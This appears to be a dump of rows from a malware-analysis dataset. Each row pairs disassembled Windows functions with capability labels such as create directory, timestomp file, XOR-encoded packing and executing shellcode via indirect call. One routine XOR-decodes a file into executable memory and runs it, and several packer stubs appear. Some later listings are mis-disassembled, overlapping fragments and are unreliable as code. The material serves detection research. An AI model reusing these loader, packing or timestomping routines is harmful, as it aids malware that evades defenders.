joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401519
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
xor eax, eax
push ebx
push esi
mov ebx, eax
mov dword [ebp - 4], eax
mov byte [ebp - 0x31c], al
xor esi, esi
mov byte [ebp - 0x10c], al
inc esi
mov byte [ebp - 0x214], al
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x214]
push eax
push 0x104
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x401562
mov byte [eax], bl
lea eax, [ebp - 0x214]
push eax
call fcn.00401605
pop ecx
test eax, eax
jne 0x4015fd
lea eax, [ebp - 0x31c]
push eax
push ebx
lea eax, [ebp - 0x214]
push 0x411534
push eax
call fcn.00402e9f
add esp, 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 0x31c]
inc ebx
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp - 4]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea eax, [ebp - 0x10c]
push eax
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea eax, [ebp - 0x10c]
push eax
call fcn.00401605
pop ecx
test eax, eax
jne 0x4015f1
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, eax
mov ecx, dword [ebp - 4]
cmp byte [ecx], 0
jne 0x401577
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401605
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0x90
xor ecx, ecx
cmp al, 0x10
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x401658
Capabilities:
Parse pe header
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
xor eax, eax
push esi
push 0x80
push 3
push esi
inc eax
mov edi, esi
push eax
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4016ed
push esi
push esi
push esi
push 2
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 4], eax
test eax, eax
je 0x4016b0
push esi
push esi
push esi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x4016ed
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x4016e6
mov ebx, dword [edi + 0x3c]
push 0xf8
add ebx, edi
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x4016e6
cmp dword [ebx], 0x4550
push 1
pop eax
cmove esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402f60
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
mov byte [esi], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402fb9
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x104
push eax
push esi
lea eax, [ebp - 8]
mov dword [ebp - 8], 1
push eax
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40336a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
cmp dword [ebx], 0
jne 0x403383
xor esi, esi
cmp dword [edi], esi
je 0x403397
jmp 0x403393
push 0x8000
xor esi, esi
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebx], esi
mov dword [edi], esi
mov ebx, dword [ebp + 0x10]
test ebx, ebx
jle 0x4033c7
push 0x40
push 0x3000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
test eax, eax
je 0x4033ba
mov dword [edi], ebx
jmp 0x4033c7
push str.allocx_failed
mov dword [edi], esi
call fcn.0040cead
pop ecx
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x408016
Capabilities:
Hash data using sha1

Disassembly:
xor eax, eax
mov dword [ecx], eax
mov dword [ecx + 4], eax
push 0x40
push eax
lea eax, [ecx + 0x1c]
mov dword [ecx + 8], 0x67452301
push eax
mov dword [ecx + 0xc], 0xefcdab89
mov dword [ecx + 0x10], 0x98badcfe
mov dword [ecx + 0x14], 0x10325476
mov dword [ecx + 0x18], 0xc3d2e1f0
call sub.msvcrt.dll_memset
add esp, 0xc
ret
Function at 0x40bf51
Capabilities:
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push str.:_DATA
push dword [ebp + 8]
call sub.msvcrt.dll_strstr
test eax, eax
pop ecx
setne bl
xor eax, eax
pop ecx
mov byte [ebp - 1], bl
cmp dword [ebp + 0x10], eax
jl 0x40c088
mov esi, dword [ebp + 0xc]
jg 0x40bf89
cmp esi, eax
jbe 0x40c088
test bl, bl
jne 0x40c088
mov edi, dword [ebp + 0x1c]
cmp edi, 0xffffffff
jne 0x40bfbd
push eax
push 0x2000000
push 3
push eax
push 7
push 0x100
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40c097
mov ebx, dword [ebp + 0x10]
push 2
push 0x540be400
push ebx
push esi
call fcn.0040fceb
push 0
push 0x2710
push edx
push eax
call fcn.0040fd05
push 0
push 0x5f5e100
push ebx
push esi
mov word [ebp - 0x14], ax
call fcn.0040fceb
push 0
push 0x64
push edx
push eax
call fcn.0040fd05
mov word [ebp - 0x12], ax
xor eax, eax
push eax
push 0xf4240
push ebx
push esi
mov word [ebp - 0x10], ax
call fcn.0040fceb
push 0
push 0x64
push edx
push eax
call fcn.0040fd05
push 0
push 0x2710
push ebx
push esi
mov word [ebp - 0xe], ax
call fcn.0040fceb
push 0
push 0x64
push edx
push eax
call fcn.0040fd05
push ebx
push 0
push 0x64
push ebx
push esi
mov word [ebp - 0xc], ax
call fcn.0040fde0
mov dword [ebp + 0x10], ebx
pop ebx
xor ebx, ebx
mov esi, ecx
push ebx
push 0x64
push edx
push eax
call fcn.0040fd05
mov word [ebp - 0xa], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x14]
mov word [ebp - 8], si
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp + 0xc]
push eax
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov bl, byte [ebp - 1]
jmp 0x40c08b
mov edi, dword [ebp + 0x1c]
cmp edi, 0xffffffff
je 0x40c097
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp + 0x14], 0x77
jne 0x40c0b8
test bl, bl
jne 0x40c0b8
mov ecx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x18]
shrd ecx, eax, 8
push ecx
push dword [ebp + 8]
sar eax, 8
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40dd2f
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x18]
sub esp, 0x30
push ebx
xor ebx, ebx
push esi
mov esi, ebx
test ecx, ecx
je 0x40dda4
mov edx, dword [ebp + 0x1c]
push edi
mov edi, dword [ebp + 8]
cmp edx, 0x10
lea eax, [ebp + 8]
cmovae eax, edi
cmp byte [eax + esi], 0x5c
je 0x40dd67
cmp edx, 0x10
lea eax, [ebp + 8]
cmovae eax, edi
cmp byte [eax + esi], 0x2f
jne 0x40dd9e
cmp edx, 0x10
lea eax, [ebp + 8]
push ebx
cmovae eax, edi
mov byte [eax + esi], bl
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov byte [eax + esi], 0x2f
mov edx, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edi, dword [ebp + 8]
inc esi
cmp esi, ecx
jb 0x40dd49
pop edi
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040a686
push 0x41125c
lea ecx, [ebp - 0x18]
call fcn.0040c0f3
test eax, eax
je 0x40ddfb
cmp dword [ebp - 4], 0x10
lea eax, [ebp - 0x18]
mov ecx, dword [ebp - 8]
cmovae eax, dword [ebp - 0x18]
cmp byte [eax + ecx - 1], 0x2f
jne 0x40ddfb
lea eax, [ecx - 1]
push eax
push ebx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fab2
push eax
lea ecx, [ebp - 0x18]
call fcn.0040abd9
push ebx
push 1
lea ecx, [ebp - 0x30]
call fcn.0040b873
cmp dword [ebp - 4], 0x10
lea eax, [ebp - 0x18]
push 0xffffffffffffffff
push dword [ebp + 0x2c]
cmovae eax, dword [ebp - 0x18]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push eax
call fcn.0040bf51
add esp, 0x18
lea ecx, [ebp - 0x18]
push ebx
push 1
call fcn.0040b873
push ebx
push 1
lea ecx, [ebp + 8]
call fcn.0040b873
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x9e7440
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x9e748c
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x9e7452
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x9e74f0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x9e7542
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x9e7548
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret

Function at 0x9ffa35
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.009ff6f5

Function at 0xa0482f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a046ae

Function at 0xa09de0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xa09e0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xa09e0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x9de210
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x9de25c
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x9de222
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x9de2c0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x9de312
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x9de318
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret

Function at 0x9f6815
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.009f64d5

Function at 0x9fb60f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.009fb48e

Function at 0xa00bc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xa00bed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xa00bed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x103b1d53
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
mov eax, section..rdata
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x43c4956
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x431005
Capabilities:
Encode data using xor

Disassembly:
pushal
mov eax, section..rsrc
nop
mov ebx, 0x40915c
nop
mov ecx, 0x65704670
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x431024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x30c417a9
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x10002090
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10007008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, 0xffff
mov esi, ecx
cmp bx, di
jne 0x100020c7
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000332d
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x100020fd
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
lea edx, [ecx + edx*2]
cmp ecx, edx
jae 0x100020fd
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_protected:_wchar_t____thiscall_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::_Pninc_void_]
mov word [eax], di
mov ax, di
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000332d
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x100021d2
mov ecx, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [ecx], eax
jne 0x1000212a
mov eax, dword [esi + 0xc]
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
sar edx, 1
mov dword [eax], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1000215f
push dword [esi + 0x4c]
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputwc]
add esp, 8
cmp ax, bx
movzx eax, di
jne 0x100021d5
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000332d
mov esp, ebp
pop ebp
ret 4
movzx eax, di
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_wchar_t__char__struct__Mbstatet_::out_struct__Mbstatet___wchar_t_const___wchar_t_const___wchar_t_const____char___char___char___const]
sub eax, 0
je 0x1000219e
sub eax, 1
je 0x1000219e
sub eax, 2
jne 0x100021d2
push dword [esi + 0x4c]
push dword [ebp - 0x28]
jmp 0x10002135
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x34], eax
je 0x100021c2
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x34], eax
jne 0x100021d2
lea ecx, [ebp - 0x28]
movzx eax, di
cmp dword [ebp - 0x30], ecx
mov byte [esi + 0x3e], 1
cmovne ebx, eax
mov ax, bx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000332d
mov esp, ebp
pop ebp
ret 4
Function at 0x100023e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10007008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x100024a4
cmp byte [esi + 0x3e], 0
je 0x100024a4
mov eax, dword [esi]
push edi
push 0xffff
call dword [eax + 0xc]
mov ecx, 0xffff
cmp cx, ax
je 0x10002492
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x10002459
sub eax, 1
je 0x1000245d
sub eax, 2
jne 0x10002492
mov byte [esi + 0x3e], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000332d
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3e], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1000247b
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10002492
cmp byte [esi + 0x3e], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000332d
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000332d
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.1000332d
mov esp, ebp
pop ebp
ret
Function at 0x431000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x417c10
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
mov eax, dword [0x4c6b5c]
add byte [ebx + 0x50], dl
call dword [sym.imp.USER32.dll_HideCaret]
mov ecx, dword [0x4c6b5c]
push ecx

Function at 0x417c27
Capabilities:
Query or enumerate registry value

Disassembly:
call sub.WINSPOOL.DRV_StartPagePrinter
lea edx, [esp + 8]
mov ebx, 1
push edx
push ebx

Function at 0x417c2f
Capabilities:
Query or enumerate registry value

Disassembly:
call sub.WINSPOOL.DRV_StartPagePrinter
lea edx, [esp + 8]
mov ebx, 1
push edx
push ebx

Function at 0x417c6f
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x4c6c6c
mov dword [esp + 8], 0
or byte [eax], al
add byte [eax], al
add bh, al
inc esp
and al, 0x10
adc byte [eax], cl
add al, byte [eax]
invalid
call fcn.004b96c4
add esp, 4
test eax, eax
je 0x417c97
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 8]
push 0x4c6c6c
dec esp
add byte [edx + 0x6a], dl
add byte [edx], ch
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov dword [0x4c7f8c], eax
jne 0x417cc4
cmp dword [esp + 4], ebx
je 0x417cc6
xor bl, bl
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x417cdc
xor eax, eax
pop ebx
add esp, 0xc

Function at 0x417c77
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x4c6c6c
mov dword [esp + 8], 0
or byte [eax], al
add byte [eax], al
add bh, al
inc esp
and al, 0x10
adc byte [eax], cl
add al, byte [eax]
invalid
call fcn.004b96c4
add esp, 4
test eax, eax
je 0x417c97
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 8]
push 0x4c6c6c
dec esp
add byte [edx + 0x6a], dl
add byte [edx], ch
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov dword [0x4c7f8c], eax
jne 0x417cc4
cmp dword [esp + 4], ebx
je 0x417cc6
xor bl, bl
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x417cdc
xor eax, eax
pop ebx
add esp, 0xc

Function at 0x417c7f
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x4c6c6c
mov dword [esp + 8], 0
or byte [eax], al
add byte [eax], al
add bh, al
inc esp
and al, 0x10
adc byte [eax], cl
add al, byte [eax]
invalid
call fcn.004b96c4
add esp, 4
test eax, eax
je 0x417c97
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 8]
push 0x4c6c6c
dec esp
add byte [edx + 0x6a], dl
add byte [edx], ch
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov dword [0x4c7f8c], eax
jne 0x417cc4
cmp dword [esp + 4], ebx
je 0x417cc6
xor bl, bl
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x417cdc
xor eax, eax
pop ebx
add esp, 0xc
Function at 0x4baab1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c3418
cmp edx, dword [eax]
je 0x4baad3
add eax, 8
inc ecx
cmp eax, 0x4c34a8
jl 0x4baac4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c3418]
jne 0x4bac01
mov eax, dword [0x4c7fa4]
cmp eax, 1
je 0x4babdb
test eax, eax
jne 0x4bab04
cmp dword [0x4c3340], 1
je 0x4babdb
cmp edx, 0xfc
je 0x4bac01
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bab3b
lea eax, [ebp - 0x1a4]
push 0x4bfba0
push eax
call fcn.004bb490
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bb920
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bab7e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bb920
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4bfb9c
push edi
call fcn.004bd7f0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4bfb80
push eax
call fcn.004bb490
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bb4a0
lea eax, [ebp - 0xa0]
push 0x4bfb7c
push eax
call fcn.004bb4a0
push dword [esi + 0x4c341c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bb4a0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4bfb54
push eax
call fcn.004bd764
add esp, 0x2c
pop edi
jmp 0x4bac01
lea eax, [ebp + 8]
lea esi, [esi + 0x4c341c]
push 0
push eax
push dword [esi]
call fcn.004bb920
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret